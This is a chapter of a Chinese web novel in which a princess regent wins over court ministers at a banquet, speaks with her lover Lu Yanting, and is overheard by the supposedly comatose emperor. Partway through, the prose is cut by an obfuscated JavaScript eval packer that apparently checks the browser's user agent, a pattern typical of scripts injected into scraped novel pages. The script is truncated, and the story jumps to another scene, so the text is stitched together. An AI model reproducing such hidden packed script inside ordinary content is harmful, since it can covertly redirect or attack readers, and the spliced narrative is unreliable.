“如今修史,也是想着,父皇一生功过,当早日定论,以免后世妄议。”骆淮泪光盈盈地看着下方众臣,“本宫知道,启用女子修史,于礼不合。可若不是诸位大人当初百般推诿,说修史劳民伤财、应当缓行,本宫又何苦来哉?” 满殿臣子哑口无言。 骆淮说着,又饮了一杯,声音更哀:“可这些日子,本宫看着那些姑娘们……她们比许多男子都要出色,却因身为女子,只能困于深闺,埋没才华……” “本宫……心疼啊。” 她说得真情实感,大家都愣住了。 他们习惯了朝会上那个言辞锋锐、气势逼人的长公主,何曾见过她这般示弱,这般哀戚? 人心都是肉长的。 何况他们自诩是看着骆淮长大的,情不自禁生出了几分长辈对晚辈的怜惜。 但周敏却想起,自家夫人那日从云浮寺回来时恼羞成怒的模样。 “长公主好大的威风,”他夫人气得摔了好几个茶盏,“我们那么多人候在山下,长公主居然连面都不见!沿途百姓都在探头探脑……真真是丢了好大的脸!” 他悄悄抬头看看上首抹泪的骆淮,又瞥了眼身边垂首不语的张尚书,心中五味杂陈。 酒意上涌,周敏忍不住脱口而出: “臣有一言相问!” 殿内一静。 骆淮眨了眨泪眼:“周大人请讲。” “……”周敏只是一时冲动,但事已至此,只好硬着头皮起身如实问道,“请殿下赐教——殿下既说心疼女子困于深闺,为何那日诸位夫人去云浮寺接女儿,殿下却以她们是女眷为由,拒不相见?” “那些夫人回去后,在各府间抬不起头,成了笑柄。难道她们……就不是女子了吗?” 骆淮盯着周敏好一会儿,被这几杯酒搅得有些迷糊的大脑里,好不容易浮起了此人来历。 “周大人问得好。”她轻轻叹了口气,声音依旧柔婉,“她们确实是女眷。” “可周大人扪心自问,让自己的夫人出面,目的究竟为何?” 她懒洋洋地眯起眼睛,“……是不是想着,若派夫人前往,届时本宫见了,便是给了台阶;本宫若不见,丢脸的也是她,与你无干。” “本宫说得可对?” “……” 周敏面色涨红,求助地转向席间其他人。 但大家都老神在在地顾各顾的,谁也不看谁。 骆淮尽收眼底,垂下眼遮住眼底的一丝讥诮,语气复而郑重起来。 “不过,本宫也知道,多数大人遣夫人前来,实是出于敬重。都是读圣贤书的人,自是知晓伉俪之义、发妻之重。” 她看向另一头的兵部尚书刘焕,“本宫记得,父皇还在时,有一年宫宴,刘夫人随您入宫。那时本宫年纪小,贪玩跑到御花园,不小心摔了一跤,磕破了膝盖。” “是刘夫人看见了,亲自将本宫扶起来,用手帕替本宫包扎,还轻声安慰。” 她声音温柔:“后来,这几日在云浮寺,听刘家小姐谈天,本宫才知道,原来那方手帕是刘夫人出嫁时,刘大人亲手绣给她的。绣的是并蒂莲,寓意夫妻恩爱,白首同心。” “真没想到,”骆淮眼底泛起真切的笑意,“刘大人身为兵部尚书,竟还有一手绣花活,这真是让我们这些女子羡慕不已呢。” 刘焕颤颤巍巍地抬头,只觉老脸一红。 骆淮继续道:“刘家小姐当时说,这帕子虽旧了,可她的娘亲一直带在身边。” “刘尚书,您与夫人的伉俪情深,长宁听闻实在心折不已。也难怪,能养出刘家小姐这般出色的才女。” 听到长公主是这般评价自己女儿的,刘焕浑身一震,起了身。 “殿下……殿下。”他老眼湿润,“是老臣等迂腐,不知殿下苦心!” “是啊是啊!”户部尚书祝冠不甘示弱,站起来抹着泪,“殿下监国以来,夙兴夜寐,臣等都看在眼里!修史之事……殿下既然已有人选,臣等愿鼎力相助!” “老臣愿举荐门生三人,皆通晓典章,可助殿下修史!” “臣也愿举荐!” “还有臣……” “……”周敏讪讪,见此情状默默坐了回去。 骆淮站起来,又对着他们喝了一杯,眼眶还红着,笑容却明媚。 “有诸位爱卿相助,本宫……心安矣!” “不敢不敢!” 众臣齐齐起身,均觉得今晚皆大欢喜。 他们服个软,表个态,既能保住颜面,又能让自己的门生参与修史,减少在朝中沦为边缘人的机会。 长公主这台阶,实在给得恰到好处。 至于女子修史……罢了罢了,木已成舟,何况长公主也答应让他们的人加入了。 总比被彻底排除在外强。 酒酣耳热之际,众人看着上首那位一边抹泪一边饮酒的女子。 忽然觉得,比起先帝景和帝的暴烈严苛,长公主殿下虽然手段厉害,但至少肯给他们面子,肯哭给他们看。 至于陛下……? 他似乎……昏迷很久了。 在忠臣们被酒精浸泡的、苍老的大脑里,这个身影平滑地滑了过去,没留下半点涟漪。 唯有陆俨亭垂下一双清明的眼,定定望着杯中映出的自己倒影,忽地轻笑了声。 * 宴至尾声,骆淮起身更衣。 走出太和殿,夜风拂面,还带着春日花草的清香。 她准备醒醒酒,便沿着汉白玉栏杆随意走着,不知过了多久才慢慢停下来,倚靠在一处偏殿的墙上。 脑中还在盘算方才席间的承诺。 刘焕举荐了三个门生,张永怀推了两个,还有祝冠也塞了一个……够了,这些人足够填满修史馆的中层职位。既安抚了老臣,又不至于让他们掌控大局。 骆淮一边思量着,一边微微伸了个懒腰,突然听见身后有脚步声。 她回过头,一道颀长身影已经来到她身边。 陆俨亭于她身边站定,月色落在他身上,将那身月白锦袍染得清冷无俦。 他神色原本是淡淡的,但来到她身边后,眼里不自觉地漾开温柔的笑意,自然而然地伸手要来牵她。 骆淮随手推了他一把,但他纹丝不动,反倒是她自己脚下踉跄,差点一个趔趄。 他伸手一扶,稳稳托住她的腰。 “……”好吧,她干脆顺势靠在他怀里。 “嗯?醉了?”他声音清冽好听,带着点无奈,“不是让人把酒换了?” “安抚他们,总要拿出点诚意。”骆淮道。 所以虽然宴会前,陆俨亭特意让人送来了与今日宴饮上的酒颜色相似的山泉水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为什么最开始在太液池边见到时,他只比她高几寸,可年纪越长大,他便抽条般拔高起来? 她只能堪堪到他的肩膀,说话时总要仰着头。 可此刻,是他最脆弱的命脉,掌握在她手中。 陆俨亭没有丝毫反抗的意思,甚至微微低下头,方便她动作。 “……我不明白。”他声音茫然地低下来,也不狡辩了,“殿下是恼我自作主张了么?” “陛下如今昏迷不醒,您掌握朝政,说一不二。新政已经步入正轨,修史之事也已铺开。” “我们的事……就算大白于天下,受损的恐怕还是我,或者陆家更多。” “如此这般,对殿下不也……更有利么?” 饶是骆淮是女子,年轻,事先也没有治国经验。 但她姓骆。 她属于大周皇室主支,一百多年前就是她的先祖打下这片江山。她坐在那个位置上,便有着天然的威严。 那些臣子们臣服,一半是权谋博弈,也有一半……是畏于她的姓氏,她的身份。 “我不明白。”他又重复了一遍,极轻地冷笑了声,喉结在她手下躁动,“我想要堂堂正正站在你身边,你就这么不愿意吗?” 骆淮的指腹后移,摩挲着他后颈那一小块皮肤。 温热,细腻,能感觉到微微凸起的颈椎骨节。 “你只是想堂堂正正站在我身边?” “是。”他回答得利落。 她却觉得有点困了。酒意、疲惫、还有这些日子紧绷的神经,一起朝她涌过来,眼前的一切仿佛有了重影。 “不是为了保陆家?”今晚的酒真是烈啊,她冲口而出一句话。 他一怔:“什么?” 但她已缓缓闭上了眼睛,手一松,整个人软倒在他怀里。 不出一会儿,均匀的呼吸声便响起。 陆俨亭无可奈何地笑了。 他轻轻调整了姿势,将她横抱起来,步伐平稳走向长廊深处。 一墙之隔。 狭小的宫室内,骆灵均揉了揉眉心。 他回过头,面前容貌旖丽的女子一身素衣,美丽的眼睛里含着一汪泪。 “……陛下。”容妃声音轻柔如耳语,“您听见了?这便是您的妹妹,和您的心腹臣子。” “他们当您死了么?”